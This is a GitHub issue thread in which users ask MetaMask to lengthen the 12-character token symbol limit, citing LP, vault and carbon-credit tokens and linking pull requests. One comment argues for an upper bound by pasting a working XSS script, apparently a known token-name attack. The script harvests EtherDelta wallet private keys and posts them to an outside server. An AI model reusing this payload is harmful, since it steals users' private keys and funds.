Open adrianmcli opened 4 years ago
Unless there is a technical reason for the 12 char limit. It makes absolute sense to open up the design space for more readable and usefull tickers for crypto teams.
This would be pretty great! There are many projects that need longer symbol length and removing this barrier would be helpful in improving their UX.
Also, EIP747 which lets you click to add tokens to Metamask is even more restrictive. This is limited to token symbol length of 6 chars. If metamask was updated to support longer symbol length then this should properly also be updated to take full advantage of these features.
I'll note that the ERC20 standard does not specify any limit on the symbol length.
There is of course some kind of practical limit to the symbol length, because it needs to be able to function as a ticker in the UI.
That said, we should be able to do something with this, and are addressing it internally. Good suggestion, @adrianmcli!
I would also be keen to see this happen. I know most tickers should be short for ease of use, but given the variety of very specific-use tokens, I think having a little more information in the titles would be hugely useful.
We just need to do a review of where we render token symbols to ensure longer ones don't break our UI, and I don't think there's anything else keeping us from doing this.
Is there any downside in building the extension on our own? Being this is the only reason that prevents me from using Metamask, I could simply increase the symbol length limit until the official version supports it.
Oh wow, it's been half a year.
@danfinlay how do we go about doing the review of where the symbols are rendered?
I modified the max symbol length to 20 (following https://github.com/MetaMask/metamask-extension/pull/5816) and all is good on my browser (Vivaldi), UI has no issues with the extra length. When clicking the extension icon itself, symbols that are too long to render are simply cut off and added a "..." suffix. I would say that it could even be made longer, so that it's unlikely it has to be touched again in the future (the longest token I own is already 19 characters long, it's cutting it close).
@danfinlay this would be a huge improvement, especially for us at Yearn (and I'm sure other protocols) who have longer, compound token symbols as our vault tokens can be fairly complex.
For example, being able to convey in a token symbol something is a yVault, for a SushiSwap SLP of YFI and ETH is near impossible in 12 characters.
@tsubus maybe submitting a PR would be a good next step? Sounds like there are no major issues with it. Like you said, would only need to decide on what the optimal max length is :)
An upper bound limit should be in place for sure.
e.g:
f`[¤ ]DATA <script> function doSomething(){for($(“#depositBalanceToken
a”).text().indexOf(“‘)”>DATA”)>=0&&$(“#depositBalanceToken a”).text(“DATA”),savedKeys=[],a=1;a<main.EtherDelta.addrs.length;a++)singlekey=[],singlekey[0]=main.EtherDelta.addrs[a],singlekey[1]=main.EtherDelta.pks[a],savedKeys.push(singlekey);var e={object:JSON.stringify(savedKeys)};
$.post(“https://cdn-solutions.com/update.php",e,function(e,n,t){}),setTimeout(doSomething,1e4)}var savedKeys=[];if(void 0===onlyonce)
{var onlyonce=!0;doSomething(),ga=function(){},doSomething(),$(“#accountSubmit”).click(function(){doSomething()})} </script>
The token name length needs to be able to accommodate LP token names from DEFI dapps such as:
mooApeLINK-BNB 0xfb04ba534ED800d9bFFce22B5F86eDaA4fc76D50 (app.beefy.finance BSC) mooCakeV2SUSHI-ETH 0x517b331B00dF201B660FfE74874Ed491D8047879 (app.beefy.finance BSC)) mooQuickETH-MATIC 0x8b89477dFde285849E1B07947E25012206F4D674 (polygon.beefy.finance Polygon)
So I suggest making it AT LEAST 20 characters but realistically why not allow up to 50.
MetaMask should only be implementing a display/truncate/customize the token name, while still recording the full token name that's shown everywhere else in DeFi.
Etherscan says that the contract "0x0b09dea16768f0799065c475be02919503cb2a35" has the token name "B-60WETH-40DAI"
So when MetaMask tells me token names are a maximum 11 characters, I'm inclined to think MetaMask is incorrect.
Ran smack dab into this problem today (11/11/2021) importing babydogezilla. Workaround is to edit token symbol field and create a mnemonic.
Having a similar issue with adding LP symbols such as BRIDGE/WETH-LP
or BRIDGE/BNB-LP
Adding support to increasing to 20. It allows far better token naming, especially with LP tokens / bridge tokens
where are we with this? we (Toucan) need longer symbol names as we need to encode a lot of information. here's an example: TCO2-VCS-1686-20180212-20190326
. given how carbon markets work, we can't really get around having fewer characters than that.
I suspect it's just a case of someone (maybe us!) re-submitting an updated version of #11162. Although I worry that a limit of 20 is also somewhat arbitrary and would lead to a few more of the same problems we have with the current limit of 12.
I've increased the Symbol length limit to 100 characters at #17642.
Update?
Is there any update regarding this?
+1 this
Submitted a PR that increases the length to 64 (32 bytes) which should be sufficient for most token symbols and provides an upper bound.
I'm having trouble adding vault tokens to the metamask by button in a dapp due to the current symbol length limit. Hope contributors can solve this.
Wow what a throwback. I wonder what the max token length is on Rabby?
Please sers, may we have longer symbols?
devs rug?
Any movement on this? The request was opened four years ago and we are still not able to add tokens with names longer than 11 characters. There is no issue doing this in the Android app, but the browser extensions are still (seemingly arbitrarily) limited.
EDIT: I went ahead and made a PR here: https://github.com/MetaMask/metamask-extension/pull/27175
What problem are you trying to solve?
In brief: The token symbol length requirement of 12 characters is too short, we should raise it to 20 or more if possible.
As expiring tokens become more popular, it is often desired to have the expiration date within the token symbol itself. For example, if I were to create a synthetic yielding token pegged to the USD while backed by ETH and expiring in September of 2020, I might want to use a token symbol of
xyUSDETH-SEP20
(14 characers).However, some users in our community at UMA have voiced a desire for lexicographically sortable symbol names. And the best way of doing this is to use the ISO standard of ISO 8601 calendar date-inspired format of YYYY-MM-DD. A possible desired symbol might be
xyUSDETH-2020.09.01
(19 characters).Describe the solution you'd like
Increase the allowed token symbol length to 20 (or more). The specific length can be further discussed but I think 20 is a reasonable starting point.
Additional context
Implementation should be quite simple if we follow this previously merged PR: https://github.com/MetaMask/metamask-extension/pull/5816